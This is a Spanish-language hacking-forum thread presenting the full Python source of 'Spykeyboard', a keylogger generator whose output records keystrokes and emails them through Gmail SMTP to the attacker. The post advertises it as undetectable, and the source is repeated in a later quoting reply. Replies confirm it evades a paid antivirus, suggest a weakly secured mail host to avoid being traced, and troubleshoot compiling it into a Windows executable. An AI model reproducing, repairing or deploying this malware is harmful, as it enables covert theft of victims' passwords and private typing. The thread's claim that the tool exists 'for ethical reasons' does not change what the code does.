This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Spykeyboard – Keylogger que envia los datos a tu Gmail

  • 10 Replies
  • 12680 Views

0 Members and 3 Guests are viewing this topic.

Offline ANTRAX

  • *
  • Administrator
  • Posts: 5854
  • Actividad:
    80%
  • Country: ar
  • Reputación 43
  • ANTRAX
  • Twitter: @Underc0de
    • View Profile
    • Underc0de
    • Email

Spykeyboard – Keylogger que envia los datos a tu Gmail

  • on: September 20, 2018, 11:48:29 am

Este es un script el cual nos permite generar un keylogger indetectable el cual nos envía las teclas capturadas a nuestro correo de gmail. Una vez generamos nuestro keylogger en nuestra kali linux tendriamos que pasar el archivo .py a una maquina windows para convertirlo en un .exe. La herramienta un esta en desarrollo.

instala el modulo en windows o linux:

Code: (bash) You are not allowed to view links. Register or Login
[email protected]:$ pip install keyboard
Para convertir a exe, pueden usar Pyinstaller


Código Fuente:

Code: (python) You are not allowed to view links. Register or Login
#!/bin/usr/python
# -*- coding: utf-8 -*-
import io
import os
def generate(usuario,password,email1):
with io.FileIO("keylogger.py", "w") as file:
file.write('''
#!/bin/usr/python
# -*- coding: utf-8 -*-
import threading
import os
import keyboard
import smtplib
from time import sleep
 
def keylogger():
    FILE_NAME = "keys.txt"
    CLEAR_ON_STARTUP = False
    TERMINATE_KEY = "enter"
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
   
    output = open(FILE_NAME, "a")
   
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string)
   
    output.close()
def sendmail():
     
   
    gmail_user = "'''+usuario+'''"
    gmail_password = "'''+password+'''"
    FROM =gmail_user
    TO = "'''+email1+'''"
    SUBJECT= "key"
       
    sleep(7.0)
    try:
        F = open("keys.txt","r")
        TEXT= F.read()
        message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
        """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
    except:
        print "error"
    try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
    except:
        print "error"
os.system("nano keys.txt")
while True:
 
    if __name__ == "__main__":
       
        key = threading.Thread(target=keylogger)
        mail = threading.Thread(target=sendmail)
 
        key.start()
        mail.start()
 
        key.join()
        mail.join()
 
''')

def info():

print bcolors.BOLD+bcolors.RED+"\nThanks for trying my tool, do not forget to search me on my social networks"+bcolors.ENDC+bcolors.ENDC
print "\033[1;36m● Twitter: @Sh4Rk_0\033[1;m"
print bcolors.BLUE+"● Facebook: Hacking Pills"+bcolors.ENDC
print bcolors.GREEN+"● Blog: hackingpills.blogspot.com"+bcolors.ENDC
print bcolors.BOLD+bcolors.RED+"● YouTube: HackingPills\n"+bcolors.ENDC+bcolors.ENDC



class bcolors:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[31m'
    YELLOW = '\033[93m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    BGRED = '\033[41m'


print '''
 \033[1;91m
┌═════════════════════════════════════════════════════════════════════════════┐
█               Author: @Sh4Rk_0                                              █
█                                                                             █
█                       Site: https://hackingpills.blogspot.com               █
█                                                                             █
█                             Copyright (C) 2018 Spykeyboard @Sh4rk_0         █
└═════════════════════════════════════════════════════════════════════════════┘     \n \033[1;m     
'''

print bcolors.BOLD+bcolors.RED+"\n●This tool was created for ethical reasons, I am not responsible for misuse.●"+bcolors.ENDC+bcolors.ENDC


usuario = raw_input(bcolors.GREEN+"Enter your email: "+bcolors.ENDC)

password = raw_input(bcolors.GREEN+"Enter your password: "+bcolors.ENDC)

email1 = raw_input(bcolors.GREEN+"Enter your email receive: "+bcolors.ENDC)

print bcolors.YELLOW+"\nYour keylogger is ready, compile it to .exe in a Windows machine."+bcolors.ENDC

generate(usuario,password,email1)
info()

Repositorio: You are not allowed to view links. Register or Login


Offline KiddArabic

  • *
  • Underc0der
  • Posts: 303
  • Actividad:
    0%
  • Reputación 1
  • Vivir sin sueño no es vivir.
    • View Profile
 keylogger indetectable  lo aseguro , lo e probado con mi maquina con el antivirus actualizado y de paga ! Genial.

Offline D0Nkey

  • *
  • Underc0der
  • Posts: 28
  • Actividad:
    0%
  • Reputación 0
    • View Profile
Gracias, Antrax, lo probraré pronto y te informo sobre cómo me ha ido.
¿Ves?

Offline Deeo

  • *
  • Underc0der
  • Posts: 1
  • Actividad:
    0%
  • Reputación 0
    • View Profile
    • Email
Hola Antrax ! Muy buen trabajo, pero te dejo un dato que me dio terribles dolores de cabeza hace un tiempo, con rat que había hecho que hacia algo parecido al tuyo, me enviaba archivos específicos adjuntados por mail, utilizando obviamente gmail... las contras son...

-Google sabe quien sos, de donde te logeaste, como te llamas, tu ip, tu pc, tus redes sociales, en fin que conocen mejor que vos, para una cuestion educativa es valido, pero no para un fin practico.
-Google cuida tu cuenta... por lo que cuando te logees desde varios PC de distintas zonas o incluso paices, google te va a bloquear la cuenta... y vas a tener que configurar el 2FA... por lo que lo mejor es utilizar algún correo "particular" de algún hosting con poca o nada de seguridad para garantizar que puedas logearte de cualquier lado...

espero que sirva el dato...

Offline Killiex

  • *
  • Underc0der
  • Posts: 1
  • Actividad:
    0%
  • Reputación 0
    • View Profile
Pero este keylogger es principalmente para Linux, no?

Offline barbatus

  • *
  • Underc0der
  • Posts: 6
  • Actividad:
    0%
  • Reputación 1
    • View Profile
Ojo el script guarda la contraseña del gmail usado hardcodeado en texto plano.
Si lo usan al menos que sea una cuenta de gmail solo usada para enviar mails no para recibir ni almacenar nada.

Offline sadfud

  • *
  • Moderator
  • Posts: 214
  • Actividad:
    0%
  • Country: cl
  • Reputación 11
    • View Profile
    • Blog
You are not allowed to view links. Register or Login
Pero este keylogger es principalmente para Linux, no?

python también puede ser ejecutado en sistemas windows
Mi blog: You are not allowed to view links. Register or Login
Si necesitas ayuda, no dudes en mandar MP

Offline hebrondev

  • *
  • Underc0der
  • Posts: 6
  • Actividad:
    0%
  • Country: 00
  • Reputación 0
    • View Profile
    • Email
Thanks

Online topgun1964

  • *
  • User VIP
  • Posts: 190
  • Actividad:
    50%
  • Reputación -3
    • View Profile
tecleo desde el terminal de kali PIP INSTALL KEYBOARD  y me da error command error disculpen mi ignorancia si pueden ayudarme

Offline raul99tapara

  • *
  • Underc0der
  • Posts: 1
  • Actividad:
    0%
  • Reputación 0
    • View Profile
Buenas noches tengo este error ya voy 2 horas y nada me da un error en el codigo cada vez que lo convierto en .exe

Code: (dos) You are not allowed to view links. Register or Login
C:\Python27\Scripts>pyinstaller --windowed --onefile keylogger.py
106 INFO: PyInstaller: 3.6
107 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.15063
108 INFO: wrote C:\Python27\Scripts\keylogger.spec
111 INFO: UPX is not available.
113 INFO: Extending PYTHONPATH with paths
['C:\\Python27\\Scripts', 'C:\\Python27\\Scripts']
113 INFO: checking Analysis
114 INFO: Building Analysis because Analysis-00.toc is non existent
114 INFO: Initializing module dependency graph...
121 INFO: Caching module graph hooks...
141 INFO: Caching module dependency graph...
164 INFO: running Analysis Analysis-00.toc
169 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
  required by c:\python27\python.exe
258 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
259 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
261 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest
348 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9279_none ...
348 INFO: Found manifest C:\Windows\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c.manifest
351 INFO: Searching for file msvcr90.dll
353 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcr90.dll
353 INFO: Searching for file msvcp90.dll
354 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcp90.dll
355 INFO: Searching for file msvcm90.dll
356 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcm90.dll
440 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
442 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
444 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest
445 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9279)
518 INFO: Analyzing C:\Python27\Scripts\keylogger.py

Syntax error in C:\Python27\Scripts\keylogger.py
    co = compile(co_ast, pathname, 'exec', 0, True)
   File "C:\Python27\Scripts\keylogger.py", line 53
     """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
 SyntaxError: default 'except:' must be last


C:\Python27\Scripts>
« Last Edit: April 10, 2020, 11:51:56 pm by DtxdF »

Offline AxelScreen

  • *
  • Underc0der
  • Posts: 2
  • Actividad:
    6.67%
  • Reputación 0
    • View Profile
You are not allowed to view links. Register or Login

Este es un script el cual nos permite generar un keylogger indetectable el cual nos envía las teclas capturadas a nuestro correo de gmail. Una vez generamos nuestro keylogger en nuestra kali linux tendriamos que pasar el archivo .py a una maquina windows para convertirlo en un .exe. La herramienta un esta en desarrollo.

instala el modulo en windows o linux:

Code: (bash) You are not allowed to view links. Register or Login
[email protected]:$ pip install keyboard
Para convertir a exe, pueden usar Pyinstaller


Código Fuente:

Code: (python) You are not allowed to view links. Register or Login
#!/bin/usr/python
# -*- coding: utf-8 -*-
import io
import os
def generate(usuario,password,email1):
with io.FileIO("keylogger.py", "w") as file:
file.write('''
#!/bin/usr/python
# -*- coding: utf-8 -*-
import threading
import os
import keyboard
import smtplib
from time import sleep
 
def keylogger():
    FILE_NAME = "keys.txt"
    CLEAR_ON_STARTUP = False
    TERMINATE_KEY = "enter"
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
   
    output = open(FILE_NAME, "a")
   
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string)
   
    output.close()
def sendmail():
     
   
    gmail_user = "'''+usuario+'''"
    gmail_password = "'''+password+'''"
    FROM =gmail_user
    TO = "'''+email1+'''"
    SUBJECT= "key"
       
    sleep(7.0)
    try:
        F = open("keys.txt","r")
        TEXT= F.read()
        message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
        """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
    except:
        print "error"
    try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
    except:
        print "error"
os.system("nano keys.txt")
while True:
 
    if __name__ == "__main__":
       
        key = threading.Thread(target=keylogger)
        mail = threading.Thread(target=sendmail)
 
        key.start()
        mail.start()
 
        key.join()
        mail.join()
 
''')

def info():

print bcolors.BOLD+bcolors.RED+"\nThanks for trying my tool, do not forget to search me on my social networks"+bcolors.ENDC+bcolors.ENDC
print "\033[1;36m● Twitter: @Sh4Rk_0\033[1;m"
print bcolors.BLUE+"● Facebook: Hacking Pills"+bcolors.ENDC
print bcolors.GREEN+"● Blog: hackingpills.blogspot.com"+bcolors.ENDC
print bcolors.BOLD+bcolors.RED+"● YouTube: HackingPills\n"+bcolors.ENDC+bcolors.ENDC



class bcolors:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[31m'
    YELLOW = '\033[93m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    BGRED = '\033[41m'


print '''
 \033[1;91m
┌═════════════════════════════════════════════════════════════════════════════┐
█               Author: @Sh4Rk_0                                              █
█                                                                             █
█                       Site: https://hackingpills.blogspot.com               █
█                                                                             █
█                             Copyright (C) 2018 Spykeyboard @Sh4rk_0         █
└═════════════════════════════════════════════════════════════════════════════┘     \n \033[1;m     
'''

print bcolors.BOLD+bcolors.RED+"\n●This tool was created for ethical reasons, I am not responsible for misuse.●"+bcolors.ENDC+bcolors.ENDC


usuario = raw_input(bcolors.GREEN+"Enter your email: "+bcolors.ENDC)

password = raw_input(bcolors.GREEN+"Enter your password: "+bcolors.ENDC)

email1 = raw_input(bcolors.GREEN+"Enter your email receive: "+bcolors.ENDC)

print bcolors.YELLOW+"\nYour keylogger is ready, compile it to .exe in a Windows machine."+bcolors.ENDC

generate(usuario,password,email1)
info()

Repositorio: You are not allowed to view links. Register or Login
Seguira funcionando? Como gmail saco la opcion de recibir correos de "apps menos seguras"